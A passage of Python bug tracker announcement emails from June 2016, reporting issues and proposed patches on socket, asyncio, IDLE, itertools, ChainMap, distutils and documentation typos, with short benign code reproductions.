imported in the scoped mocked code, importing them must succeed. If ``None`` (the default) then no import must succeed. ---------- components: Library (Lib) files: mock_import.patch keywords: patch messages: 269127 nosy: Eyal Posener priority: normal severity: normal status: open title: Add mock_import method to mock module type: enhancement versions: Python 3.6 Added file: http://bugs.python.org/file43522/mock_import.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jun 23 14:33:36 2016 From: report at bugs.python.org (Neil Schemenauer) Date: Thu, 23 Jun 2016 18:33:36 +0000 Subject: [New-bugs-announce] [issue27377] Add smarter socket.fromfd() Message-ID: <1466706816.6.0.72770597716.issue27377@psf.upfronthosting.co.za> New submission from Neil Schemenauer: When implementing server software that inherits a socket via a file descriptor, it is useful to be able to query the descriptor and find out what kind of socket has been passed. This can be done with getsockopt() and getsockname(). Python does not expose a clean way to do this. One example use case is receiving an open socket from systemd. For example, systemd will pass the open socket using file descriptor 3. It would be handy if the Python server did not have to hard-code the type of the socket but instead could determine it. This patch provides a function that, when given an integer file descriptor, returns a Python socket object with the correct family and kind/type attributes. This seems like a useful, high-level interface. This patch adds two new functions to the socket module. I'm not so happy about the names. Suggestions welcome. The fromfd2() function does not duplicate the file descriptor. I think this was a design mistake in fromfd(). If it wasn't for the duplication, I would change fromfd() to have None as default arguments and then use fdtype() to get the family, kind and protocol. The fdtype() function returns (family, type, proto) for an integer file descriptor. There does not appear to be any way to query the protocol of the passed socket. I just assume it is zero. ---------- components: Library (Lib) files: fromfd2.txt messages: 269131 nosy: nascheme priority: normal severity: normal stage: patch review status: open title: Add smarter socket.fromfd() type: enhancement versions: Python 3.6 Added file: http://bugs.python.org/file43523/fromfd2.txt _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jun 23 15:58:16 2016 From: report at bugs.python.org (Matt Morrison) Date: Thu, 23 Jun 2016 19:58:16 +0000 Subject: [New-bugs-announce] [issue27378] remove ref to Phil Schwartz's 'Kodos' in regex HOWTO Message-ID: <1466711896.95.0.020858113879.issue27378@psf.upfronthosting.co.za> New submission from Matt Morrison: In the Regular Expressions HOWTO (https://docs.python.org/3/howto/regex.html#performing-matches, Doc/howto/regex.rst), there is the following paragraph: ===== You can learn about this by interactively experimenting with the :mod:`re` module. If you have :mod:`tkinter` available, you may also want to look at :source:`Tools/demo/redemo.py`, a demonstration program included with the Python distribution. It allows you to enter REs and strings, and displays whether the RE matches or fails. :file:`redemo.py` can be quite useful when trying to debug a complicated RE. Phil Schwartz's `Kodos `_ is also an interactive tool for developing and testing RE patterns. ===== I checked the Kodos site on SourceForge, and the latest release is exactly 10 years old. I couldn't get it to work with 2.7.11 on Ubuntu 16.04 and PyQt4 - Qt3 is one of its requirements. I didn't bother running 2to3 on it. I propose we delete the last sentence of the above paragraph altogether. There are many good regex sites out there, including regex101, regexr, Debuggex, regexpal, and more (those are just the first few in my bookmarks list), and I don't feel we should be promoting one outdated tool. Here is the diff: ===== @@ -374,9 +374,7 @@ :source:`Tools/demo/redemo.py`, a demonstration program included with the Python distribution. It allows you to enter REs and strings, and displays whether the RE matches or fails. :file:`redemo.py` can be quite useful when -trying to debug a complicated RE. Phil Schwartz's `Kodos -`_ is also an interactive tool for developing and -testing RE patterns. +trying to debug a complicated RE. This HOWTO uses the standard Python interpreter for its examples. First, run the Python interpreter, import the :mod:`re` module, and compile a RE:: ===== I've also attached it as a file. ---------- assignee: docs at python components: Documentation files: regex.diff keywords: patch messages: 269142 nosy: MattDMo, docs at python priority: normal severity: normal status: open title: remove ref to Phil Schwartz's 'Kodos' in regex HOWTO type: enhancement versions: Python 2.7, Python 3.2, Python 3.3, Python 3.4, Python 3.5, Python 3.6 Added file: http://bugs.python.org/file43525/regex.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jun 23 23:19:57 2016 From: report at bugs.python.org (Martin Panter) Date: Fri, 24 Jun 2016 03:19:57 +0000 Subject: [New-bugs-announce] [issue27379] SocketType changed in Python 3 Message-ID: <1466738397.82.0.0999219877747.issue27379@psf.upfronthosting.co.za> New submission from Martin Panter: In the documentation for Python 2 and 3, socket.SocketType is defined as: This is a Python type object that represents the socket object type. It is the same as ?type(socket(...))?. In Python 2 it is a standalone ?socket._socketobject? class, which holds a ?_socket.socket? instance as an internal ?_sock? attribute. So the documentation and implementation are consistent. But since revision 8e062e572ea4, Python 3 no longer defines SocketType directly, and just imports the ?_socket.SocketType? definition, which is an alias of ?_socket.socket?. The change also defines ?socket.socket? as a subclass of this low-level class. The result is that SocketType is not the exact type, but only a base class: >>> s = socket.socket() >>> type(s) >>> SocketType >>> type(s) is SocketType # Should be true according to documentation False >>> isinstance(s, SocketType) True Should the documentation just be amended, or should SocketType be changed? If SocketType is not changed, perhaps we should document that socket.socket() is a class, not just a function, and maybe deprecate SocketType. ---------- messages: 269153 nosy: martin.panter priority: normal severity: normal status: open title: SocketType changed in Python 3 versions: Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jun 24 00:15:17 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 24 Jun 2016 04:15:17 +0000 Subject: [New-bugs-announce] [issue27380] IDLE: add base Query dialog with ttk widgets Message-ID: <1466741717.27.0.533147933113.issue27380@psf.upfronthosting.co.za> New submission from Terry J. Reedy: The custom popup entry dialogs in config_sec and config_help have a common structure and overlapping code. When one hits OK and the entry is not valid, both display a specific message and let the user edit the entry (or Cancel). File => Load Module, on the other hand, uses tkSimpleDialog.askstring. No error checking is done before the box disappears. If there is an error, even a simple misspelling, one must start over. It is really annoying to use. I want to replace this with a custom popup that would be the same as the one in config_sec, except for title, prompt, and validation function. If the name given has multiple conponents, such as idlelib.idelhelp.help_xyz, I would like to report which is the first invalid component (going from left to right). I am therefore adding a new module, query.py, with a new Query class that will be the baseclass for three derived classes. The partial patch renames config_sec.py (formerly configSectionNameDialog.py) to query.py. The corresponding test_config_sec) becomes test_query. It splits class GetCfgSectionNameDialog into a base class Query and a subclass SectionName. Query is responsible for the popup, and used ttk widgets as appropriate. SectionName overrides the entry validation function entry_ok (formerly name_ok). The test functions have been similarly split. What remains are ModuleName and HelpSource subclasses, corresponding tests, and integration with the software that would use them. ---------- assignee: terry.reedy files: query.diff keywords: patch messages: 269154 nosy: terry.reedy priority: normal severity: normal stage: patch review status: open title: IDLE: add base Query dialog with ttk widgets type: enhancement versions: Python 3.6 Added file: http://bugs.python.org/file43526/query.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jun 24 05:38:13 2016 From: report at bugs.python.org (Xiang Zhang) Date: Fri, 24 Jun 2016 09:38:13 +0000 Subject: [New-bugs-announce] [issue27381] Typo in zipfile documentation Message-ID: <1466761093.81.0.0650336824478.issue27381@psf.upfronthosting.co.za> New submission from Xiang Zhang: There is a redundant ')' in zipfile doc. Remove it. ---------- assignee: docs at python components: Documentation files: zipfile_doc.patch keywords: patch messages: 269166 nosy: docs at python, xiang.zhang priority: normal severity: normal status: open title: Typo in zipfile documentation versions: Python 3.6 Added file: http://bugs.python.org/file43528/zipfile_doc.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jun 24 10:52:56 2016 From: report at bugs.python.org (Dyl Tuckey) Date: Fri, 24 Jun 2016 14:52:56 +0000 Subject: [New-bugs-announce] [issue27382] calendar module .isleap() probleam Message-ID: <1466779976.93.0.849803568402.issue27382@psf.upfronthosting.co.za> New submission from Dyl Tuckey: I don't know why but whenever I try and run this code: import calendar import time calendar = calendar.month(2016,6) print ("Loading date, time, month and leap year status") time.sleep(5) print (calendar) localtime = time.asctime(time.localtime(time.time())) print (localtime) if calendar.isleap(2016) == True: print("This year is a leap year") else: print("This year is not a leap year") It come up with: Loading date, time, month and leap year status June 2016 Mo Tu We Th Fr Sa Su 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 Fri Jun 24 15:46:12 2016 Traceback (most recent call last): File "C:\Users\Dylan\Desktop\Python\Calendar.py", line 9, in if calendar.isleap(2016) == True: AttributeError: 'str' object has no attribute 'isleap' And I don't know why I keep getting error messages ---------- components: IDLE messages: 269183 nosy: Dyl Tuckey priority: normal severity: normal status: open title: calendar module .isleap() probleam type: compile error versions: Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jun 24 11:03:41 2016 From: report at bugs.python.org (Rob Bairos) Date: Fri, 24 Jun 2016 15:03:41 +0000 Subject: [New-bugs-announce] [issue27383] executuable in distutils triggering microsoft anti virus Message-ID: <1466780621.95.0.0684107940642.issue27383@psf.upfronthosting.co.za> New submission from Rob Bairos: python 3.5: wininst-14.0.exe Is triggering Microsoft Security Essentials virus detection: Recommended action: Remove this software immediately. Items: file:D:\PythonBuilds\202ee57ca3\py\Lib\distutils\command\wininst-14.0.exe I've tried on two separate machines so far, with same quarantine. Microsoft Security Essentials (running on Windows 7) Antimalware Client Version: 4.9.218.0 Engine Version: 1.1.12805.0 Antivirus definition: 1.223.2544.0 Antispyware definition: 1.223.2544.0 Network Inspection System Engine Version: 2.1.12706.0 Network Inspection System Definition Version: 116.10.0.0 ---------- components: Distutils messages: 269186 nosy: Rob Bairos, dstufft, eric.araujo priority: normal severity: normal status: open title: executuable in distutils triggering microsoft anti virus type: security versions: Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jun 24 15:13:32 2016 From: report at bugs.python.org (Matthew Malcomson) Date: Fri, 24 Jun 2016 19:13:32 +0000 Subject: [New-bugs-announce] [issue27384] itertools islice consumes items when given negative range Message-ID: <1466795612.87.0.341578291618.issue27384@psf.upfronthosting.co.za> New submission from Matthew Malcomson: While the itertools.islice(iterator, n, n) trick is useful as used in the consume recipe, I find the current behaviour if stop is less than start (e.g. itertools.islice(iterator, 3, 0) ) to be surprising. It still consumes the first three elements of the iterator, in the same manner as when start and stop are equal. This is what the documentation implies, but I don't know whether that coincidence is by accident or design. I would expect an iterator that immediately raises StopIteration but doesn't consume anything, but whether that's what most people would expect or not is another matter. This would match the python version of islice() in the documentation, though I realise that implementation already diverges from the actual one via Issue 27212 . ---------- components: Library (Lib) messages: 269206 nosy: Matthew Malcomson priority: normal severity: normal status: open title: itertools islice consumes items when given negative range type: behavior versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jun 24 16:58:00 2016 From: report at bugs.python.org (Grant Mathews) Date: Fri, 24 Jun 2016 20:58:00 +0000 Subject: [New-bugs-announce] [issue27385] itertools.groupby has misleading doc string Message-ID: <1466801880.76.0.293579802764.issue27385@psf.upfronthosting.co.za> New submission from Grant Mathews: The itertools.groupby function is generally well-documented, but the fact that it only groups consecutive occurrences of keys is not mentioned in the doc string, which is where that information is most needed. ---------- assignee: docs at python components: Documentation files: groupby_doc.patch keywords: patch messages: 269211 nosy: docs at python, gmathews priority: normal severity: normal status: open title: itertools.groupby has misleading doc string versions: Python 2.7, Python 3.2, Python 3.3, Python 3.4, Python 3.5, Python 3.6 Added file: http://bugs.python.org/file43531/groupby_doc.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jun 25 16:56:34 2016 From: report at bugs.python.org (Jim Fulton) Date: Sat, 25 Jun 2016 20:56:34 +0000 Subject: [New-bugs-announce] [issue27386] Asyncio server hang when clients connect and immediately disconnect Message-ID: <1466888194.59.0.640833210662.issue27386@psf.upfronthosting.co.za> New submission from Jim Fulton: I recently ported ZEO to asyncio. We'd had a bug in our old asyncore-based server where the server would hang if several connections were made and then immediately disconnected on Mac OS X. This was due to an error-handling bug in our code that we fixed. We have a regression test for this case. The regression test for this case fails using asyncio.Server. I've attached a (ZEO-independent) script that demonstrates the problem. If you run the script with Python 3.4 or 3.5, I expect the script will hang. It does for me on Mac OS X 10.10.5 and Ubuntu 14.04. ---------- components: asyncio files: echo.py messages: 269256 nosy: gvanrossum, haypo, j1m, yselivanov priority: normal severity: normal status: open title: Asyncio server hang when clients connect and immediately disconnect type: behavior versions: Python 3.4, Python 3.5 Added file: http://bugs.python.org/file43540/echo.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jun 25 18:03:39 2016 From: report at bugs.python.org (Josh Purvis) Date: Sat, 25 Jun 2016 22:03:39 +0000 Subject: [New-bugs-announce] [issue27387] Thread hangs on str.encode() when locale is not set Message-ID: <1466892219.46.0.416121805197.issue27387@psf.upfronthosting.co.za> New submission from Josh Purvis: This bug manifest itself in at least one very specific situation: 1. No locale is set on the machine 2. A file (test1.py) imports a second (test2.py) 3. The second file (test2.py) calls str.encode() from inside a thread 4. Running Python 2.7 [Environment with no locale set]: # both of these are unset: $ echo $LC_CTYPE $ echo $LANG $ [test1.py]: import test2 [test2.py]: from threading import Thread class TestThread(Thread): def run(self): msg = 'Error from server: code=000a' print msg msg = msg.encode('utf-8') t = TestThread() t.start() t.join() print 'done' [Expected behavior]: $ python test1.py Error from server: code=000a done [Actual behavior]: $ python test1.py Error from server: code=000a [script hangs here indefinitely] Much thanks to Alan Boudreault, a developer of the cassandra-driver Python package, for helping me locate this bug and further narrow it down to the threading module. The above code snippet was copied from his comment on my issue over there (https://datastax-oss.atlassian.net/browse/PYTHON-592). Another curious behavior is that if you modify test1.py to decode any string prior to the import, it implicitly fixes the issue: [test1.py']: "any string".decode('utf-8') import test2 I realize that one should probably always have a locale set, however, this proved to be very difficult to isolate, especially given that it works if no import occurs or a string is decoded prior to the import. ---------- components: Interpreter Core, Unicode messages: 269262 nosy: ezio.melotti, haypo, joshpurvis priority: normal severity: normal status: open title: Thread hangs on str.encode() when locale is not set type: behavior versions: Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jun 25 22:23:36 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Sun, 26 Jun 2016 02:23:36 +0000 Subject: [New-bugs-announce] [issue27388] IDLE configdialog: reduce multiple references to Var names Message-ID: <1466907816.0.0.0265609699186.issue27388@psf.upfronthosting.co.za> New submission from Terry J. Reedy: ConfigDialog uses nearl 20 tkinter Vars, and I expect to add more. The name of each appears in at least 6 places. In one of 'create tab frame' methods: 1. create the Var 2. use the Var with at least 1 tk widget In AttachVarCallbacks method: 3, 4. attach trace with callback with derived name self.varname.trace_add('write', self.VarChanged_varname) In remove_var_callbacks method (with delete call already factored out): 5. include Var in for loop tuple, to remove callback with "var.trace_remove('write', var.trace_info()[0][1])" In callback definition: 6. def VarChanged_varname The above uses the new trace method names that will be introduced in #22115, which I expect will be applied first. (I might also replace 'VarChanged_' with 'var_changed_' or something shorter, but this is not relevant here.) I propose to consolidate 1, 3, & 4 by replacing AttachVarCallbacks with def add_traced_var(varname): """Create var; bind to varname, append to list, and trace with callback. varname must match use in caller and callback def. """ var = tk.StringVar(self.root) setattr(self, varname, var) self.vars.append(var) cbsuffix = 'font' if varname.startswith('font') else varname var.trace_add('write', self.getattr('VarChanged_' + cbsuffix)) The cbsuffix local takes care of the complication that the 3 'fontWxyz' vars need the same callback. In any Var are not StringVars, add vartype parameter. Each tab frame creation method would call add_traced_var within a varname loop. The current varname tuple for 5. would be replaced with self.vars, which should then be cleared. This will leave 3 name occurrences that must match instead of 6. --- I believe 1-6 is complete. Varnames are translated to config item names within the callbacks, so do not have to match. For instance, def VarChanged_spaceNum(self, *params): value = self.spaceNum.get() self.AddChangedItem('main', 'Indent', 'num-spaces', value) translated 'spaceNum' to 'num-spaces'. On the other hand, I an not sure why the difference. For back compatibility, config names are fixed. The varnames, like method names, are internal to configdialog and can lowercased (PEP8) and otherwised changed. --- For testing, I will embed the add and delete methods in a dummy class with a couple of dummy callbacks. Then add, introspect, delete, and introspect again. ---------- assignee: terry.reedy messages: 269271 nosy: terry.reedy priority: normal severity: normal stage: test needed status: open title: IDLE configdialog: reduce multiple references to Var names type: enhancement versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jun 25 23:35:42 2016 From: report at bugs.python.org (Steven Barker) Date: Sun, 26 Jun 2016 03:35:42 +0000 Subject: [New-bugs-announce] [issue27389] When a TypeError is raised due to invalid arguments to a method, it should use __qualname__ to identify the class the method is in Message-ID: <1466912142.66.0.184362452129.issue27389@psf.upfronthosting.co.za> New submission from Steven Barker: When a method is called with incorrect arguments (too many or too few, for instance), a TypeError is raised. The message in the TypeError generally of the form: foo() takes 2 positional arguments but 3 were given I think the message should include the class name along with the method name, so it would say `SomeClass.foo` instead of just `foo`. Since that is `SomeClass.foo`'s __qualname__, it should not be too hard to get the right name in most situations. Here's an example showing how the current error messages can be ambiguous: class A: def foo(self, x): pass class B: def foo(self, x, y): # different method signature! pass lst = [A(), B()] for item in lst: item.foo(1) # raises TypeError: foo() missing 1 required positional argument: 'y'" for item in lst: item.foo(1, 2) # raises "TypeError: foo() takes 2 positional arguments but 3 were given" In neither loop is is clear which class's `foo` method is causing the exception (nor does the traceback help, since it only shows the `item.foo(...)` line). Of course, in this example it's easy to see the two classes have `foo` methods with different signatures, but if there were hundreds of objects in the list and they were instances of dozens of different classes it would be rather more annoying to figure out which class has the incorrect method signature. I've looked through the code and the two exceptions above come from the `format_missing` and `too_many_positional` functions in Python/ceval.c . It's not obvious how to patch them to use `__qualname__` instead of `__name__`, since they are taking the name from a code object, rather than a function object or bound method object (and code objects don't have an equivalent to `__qualname__`, only `co_name` which is related to `__name__`). Several other argument related TypeError exceptions are raised directly in _PyEval_EvalCodeWithName, which *does* have a `qualname` parameter, though the function doesn't use it for much. It's also where the other functions described above get called from, so it could probably pass the `qualname` along to them. Alas, it seems that in some common cases (such as calling a Python function with any kind of argument unpacking like `*foo` or `**foo`), the value of the `qualname` parameter is actually Null, so it may not be of much help. A few extra TypeErrors related to function calls are raised directly in the gigantic `PyEval_EvalFrameEx` function. These seem to all use `PyEval_GetFuncName` to get the name, so perhaps we could modify its behavior to return the method's `__qualname__` rather than the `__name__`. (I have no idea what backwards compatibility issues this might cause. Perhaps a new function that returns the qualname would be better.) ---------- messages: 269274 nosy: Steven.Barker priority: normal severity: normal status: open title: When a TypeError is raised due to invalid arguments to a method, it should use __qualname__ to identify the class the method is in type: enhancement versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jun 26 08:47:32 2016 From: report at bugs.python.org (Thomas Klausner) Date: Sun, 26 Jun 2016 12:47:32 +0000 Subject: [New-bugs-announce] [issue27390] state of the 3.3 branch unclear Message-ID: <1466945252.66.0.729536599683.issue27390@psf.upfronthosting.co.za> New submission from Thomas Klausner: https://www.python.org/dev/peps/pep-0398/ mentions that a 3.3.7 release was planned for February 27, 2016. It appears this never happened. It also mentions that there will be source-only security updates for 3.3.x until September 2017. However, it appears that for example https://bugs.python.org/issue22417 from 2014 was never fixed for 3.3.x. (perhaps it did not affect 3.3.x, but it affected 2.7 and 3.4, so the chances are high it did) I'm not particularly interested in a release -- I'm fine with declaring 3.3.x end-of-life, but the documentation should match the reality. Thanks. ---------- components: Interpreter Core messages: 269282 nosy: wiz priority: normal severity: normal status: open title: state of the 3.3 branch unclear type: security versions: Python 3.3 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jun 26 11:43:57 2016 From: report at bugs.python.org (Jim Fulton) Date: Sun, 26 Jun 2016 15:43:57 +0000 Subject: [New-bugs-announce] [issue27391] server_hostname should only be required when checking host names Message-ID: <1466955837.8.0.0746303655033.issue27391@psf.upfronthosting.co.za> New submission from Jim Fulton: If the given ssl context has check_hostname set to False, then the server_hostname shouldn't be required. ---------- components: asyncio messages: 269292 nosy: gvanrossum, haypo, j1m, yselivanov priority: normal severity: normal status: open title: server_hostname should only be required when checking host names type: behavior versions: Python 3.3, Python 3.4, Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jun 26 12:05:17 2016 From: report at bugs.python.org (Jim Fulton) Date: Sun, 26 Jun 2016 16:05:17 +0000 Subject: [New-bugs-announce] [issue27392] Add a server_side keyword parameter to create_connection Message-ID: <1466957117.0.0.423625085233.issue27392@psf.upfronthosting.co.za> New submission from Jim Fulton: The event loop create_connection method can take a socket to create a connection on an existing socket, including sockets obtained via an external listener. If an SSL context is provided, however, it assumes it's creating a client connection, making it impossible to use it in a server. I've recently ported ZEO to asyncio. My original implementation used a separate thread for each connection and a thread for listening for connections. I think there are cases where this makes a lot of sense. Blocky operations only affect one client and, IMO, using an asynchronous model can simplify networking code even when there's only one connection. Unfortunately, this didn't work on Linux with SSL due to issues with SSL and non-blocking sockets. (Oddly, it worked fine on Mac OS X.) I've switched my code to use create_server, but this has led to stability problems. Beyond http://bugs.python.org/issue27386, I'm seeing a lot of test instability. I can't get through the ZEO tests without some test failing, although the tests pass when run individually. I suspect that this is due to a problem in my error handling, asyncio's error handling, or likely both. Note that the ZEO test suite is pretty ruthless, doing whatever they can to break ZEO servers and clients. I have a version of my multi-threaded code that monkey-patches loop instances to pass server_side=True to _make_ssl_transport. With that awful hack, I can use an external listener and tests usually run without errors. :) I'd be more than happy to create a PR that adds this option (including test and docs). Please just give me the word. :) ---------- components: asyncio messages: 269293 nosy: gvanrossum, haypo, j1m, yselivanov priority: normal severity: normal status: open title: Add a server_side keyword parameter to create_connection type: enhancement versions: Python 3.4, Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jun 26 13:28:33 2016 From: report at bugs.python.org (Manuel Kaufmann) Date: Sun, 26 Jun 2016 17:28:33 +0000 Subject: [New-bugs-announce] [issue27393] Command to activate venv in Windows has wrong path Message-ID: <1466962113.91.0.904493080486.issue27393@psf.upfronthosting.co.za> New submission from Manuel Kaufmann: The `venv` module has a bug in the command to activate it on Windows. In 3.3 and 3.4 the bar used is wrong: `/` instead `\` * https://docs.python.org/3.4/library/venv.html#creating-virtual-environments * https://docs.python.org/3.3/library/venv.html#creating-virtual-environments In 3.5 and 3.6 that section was converted to a table with the commands and they are missing the `\` in the command path: * https://docs.python.org/3.5/library/venv.html#creating-virtual-environments * https://docs.python.org/dev/library/venv.html#creating-virtual-environments ---------- assignee: docs at python components: Documentation files: venv-windows-command.patch keywords: patch messages: 269299 nosy: docs at python, facundobatista, humitos priority: normal severity: normal status: open title: Command to activate venv in Windows has wrong path type: enhancement versions: Python 3.3, Python 3.4, Python 3.5, Python 3.6 Added file: http://bugs.python.org/file43543/venv-windows-command.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jun 26 20:26:36 2016 From: report at bugs.python.org (Emanuel Barry) Date: Mon, 27 Jun 2016 00:26:36 +0000 Subject: [New-bugs-announce] [issue27394] Crash with compile returning a value with an error set Message-ID: <1466987196.42.0.363723016695.issue27394@psf.upfronthosting.co.za> New submission from Emanuel Barry: My trivial patch exposed a bug in the ast/compiler, where compile() would return a value and set an exception. See http://bugs.python.org/issue27364#msg269323 for more information and steps to reproduce. I looked a bit into it, but I don't know enough about it to be of much help. (This is just a shot in the dark, but maybe compile() doesn't handle warnings-as-errors properly?) ---------- components: Interpreter Core messages: 269328 nosy: benjamin.peterson, brett.cannon, ebarry, georg.brandl, ncoghlan, yselivanov priority: normal severity: normal stage: needs patch status: open title: Crash with compile returning a value with an error set type: crash versions: Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jun 26 21:32:11 2016 From: report at bugs.python.org (Pam McA'Nulty) Date: Mon, 27 Jun 2016 01:32:11 +0000 Subject: [New-bugs-announce] [issue27395] Increase test coverage of unittest.runner.TextTestResult Message-ID: <1466991131.29.0.133038879004.issue27395@psf.upfronthosting.co.za> New submission from Pam McA'Nulty: While working on another issue, I added a test to increase (low-hanging fruit) test coverage in unittest.runner.TextTestResult ---------- components: Tests files: textresult_coverage.patch keywords: patch messages: 269330 nosy: Pam.McANulty priority: normal severity: normal status: open title: Increase test coverage of unittest.runner.TextTestResult versions: Python 3.6 Added file: http://bugs.python.org/file43551/textresult_coverage.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jun 26 21:57:36 2016 From: report at bugs.python.org (Gabriel Hackebeil) Date: Mon, 27 Jun 2016 01:57:36 +0000 Subject: [New-bugs-announce] [issue27396] Change default filecmp.cmp shallow option Message-ID: <1466992656.21.0.518759698734.issue27396@psf.upfronthosting.co.za> New submission from Gabriel Hackebeil: I would like to propose changing the default setting for the shallow compare option in filecmp.cmp to False (or providing access an exact comparison function that does not use various performance optimizations). I think many users will turn to this module as a replacement for the ?diff? command on Unix systems, and it is far too easy of a trap to fall into thinking a full comparison takes place when calling filecmp.cmp. I agree that the shallow compare option is a useful feature, but I think it should be something to opt into as it is more of a performance optimization (the same applies to the caching behavior, but that is for another time). I understand that the documentation explains the default behavior, but the reality is that many users probably do not understand the consequences of this setting (or simply did not pay close enough attention to the documentation), making it easy for people to use this module wrong and write code that does not work as advertised. I admit to falling into this trap myself. ---------- components: Library (Lib) messages: 269336 nosy: ghackebeil priority: normal severity: normal status: open title: Change default filecmp.cmp shallow option type: behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jun 27 00:52:48 2016 From: report at bugs.python.org (Claudiu Saftoiu) Date: Mon, 27 Jun 2016 04:52:48 +0000 Subject: [New-bugs-announce] [issue27397] email.message.Message.get_payload(decode=True) raises AssertionError that "should never happen" Message-ID: <1467003168.77.0.181135273122.issue27397@psf.upfronthosting.co.za> New submission from Claudiu Saftoiu: I'm processing Yahoo! Groups backup archives, and came across an email message which causes the `.get_payload(decode=True)` step to raise an AssertionError. Particularly, the following exception is raised in `lib/python3.5/email/_encoded_words.py`, line 124: # This should never happen. raise AssertionError("unexpected binascii.Error") Attached is the file which, when run under Python 3.5.1, causes the exception to be raised. ---------- components: Library (Lib) files: bugreport.py messages: 269346 nosy: Claudiu Saftoiu priority: normal severity: normal status: open title: email.message.Message.get_payload(decode=True) raises AssertionError that "should never happen" type: crash versions: Python 3.5 Added file: http://bugs.python.org/file43556/bugreport.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jun 27 03:04:51 2016 From: report at bugs.python.org (David) Date: Mon, 27 Jun 2016 07:04:51 +0000 Subject: [New-bugs-announce] [issue27398] configure warning for Python 3.5.2 during compilation Message-ID: <1467011091.26.0.498872044054.issue27398@psf.upfronthosting.co.za> New submission from David: Hi there. 3.5.1 final didn't have this problem, 3.5.2 final does have this problem. I'm compiling Python 3.5.2 under Debian, and get this warning during the ./configure step: --------------- configure: WARNING: linux/random.h: present but cannot be compiled configure: WARNING: linux/random.h: check for missing prerequisite headers? configure: WARNING: linux/random.h: see the Autoconf documentation configure: WARNING: linux/random.h: section "Present But Cannot Be Compiled" configure: WARNING: linux/random.h: proceeding with the compiler's result configure: WARNING: ## -------------------------------------- ## configure: WARNING: ## Report this to http://bugs.python.org/ ## configure: WARNING: ## -------------------------------------- ## --------------- Please check this? ---------- components: Build messages: 269356 nosy: wizzardx priority: normal severity: normal status: open title: configure warning for Python 3.5.2 during compilation versions: Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jun 27 07:07:45 2016 From: report at bugs.python.org (Zahari Dim) Date: Mon, 27 Jun 2016 11:07:45 +0000 Subject: [New-bugs-announce] [issue27399] ChainMap.keys() is broken Message-ID: <1467025665.28.0.0299580646489.issue27399@psf.upfronthosting.co.za> New submission from Zahari Dim: When trying to see if the keys() of a collections.ChainMap object are empty, it tries to compute the hash of the dicts that compose the ChainMap, giving rise to an error: In [1]: from collections import ChainMap In [2]: m = ChainMap([{'a':1}, {'b':2}]) In [3]: bool(m.keys()) --------------------------------------------------------------------------- TypeError Traceback (most recent call last) in () ----> 1 bool(m.keys()) /home/zah/anaconda3/lib/python3.5/_collections_abc.py in __len__(self) 633 634 def __len__(self): --> 635 return len(self._mapping) 636 637 def __repr__(self): /home/zah/anaconda3/lib/python3.5/collections/__init__.py in __len__(self) 865 866 def __len__(self): --> 867 return len(set().union(*self.maps)) # reuses stored hash values if possible 868 869 def __iter__(self): TypeError: unhashable type: 'dict' Also, I can't ask if 'a' is in keys: In [6]: m.keys() Out[6]: KeysView(ChainMap([{'a': 1}, {'b': 2}])) In [9]: ks = m.keys() In [17]: 'a' in ks Out[17]: False ---------- components: Library (Lib) messages: 269370 nosy: Zahari.Dim priority: normal severity: normal status: open title: ChainMap.keys() is broken versions: Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jun 27 09:49:18 2016 From: report at bugs.python.org (Denny Weinberg) Date: Mon, 27 Jun 2016 13:49:18 +0000 Subject: [New-bugs-announce] [issue27400] Datetime NoneType after calling Py_Finalize and Py_Initialize Message-ID: <1467035358.55.0.678180807375.issue27400@psf.upfronthosting.co.za> New submission from Denny Weinberg: After calling Py_Finalize and Py_Initialize I get the message "attribute of type 'NoneType' is not callable" on the datetime.strptime method. Example: from datetime import datetime s = '20160505 160000' refdatim = datetime.strptime(s, '%Y%m%d %H%M%S') The first call works fine but it crashes after the re initialization. Workaround: from datetime import datetime s = '20160505 160000' try: refdatim = datetime.strptime(s, '%Y%m%d %H%M%S') except TypeError: import time refdatim = datetime.fromtimestamp(time.mktime(time.strptime(s, '%Y%m%d %H%M%S'))) Related Issue: Issue17408 ("second python execution fails when embedding") ---------- components: Interpreter Core messages: 269379 nosy: Denny Weinberg, palm.kevin priority: normal severity: normal status: open title: Datetime NoneType after calling Py_Finalize and Py_Initialize type: behavior versions: Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jun 27 11:57:10 2016 From: report at bugs.python.org (Jarod Brennfleck) Date: Mon, 27 Jun 2016 15:57:10 +0000 Subject: [New-bugs-announce] [issue27401] Wrong FTP links in 5.3.2 installer Message-ID: <1467043030.62.0.960428099704.issue27401@psf.upfronthosting.co.za> New submission from Jarod Brennfleck: So far, the only installers tested is the Python 5.3.2 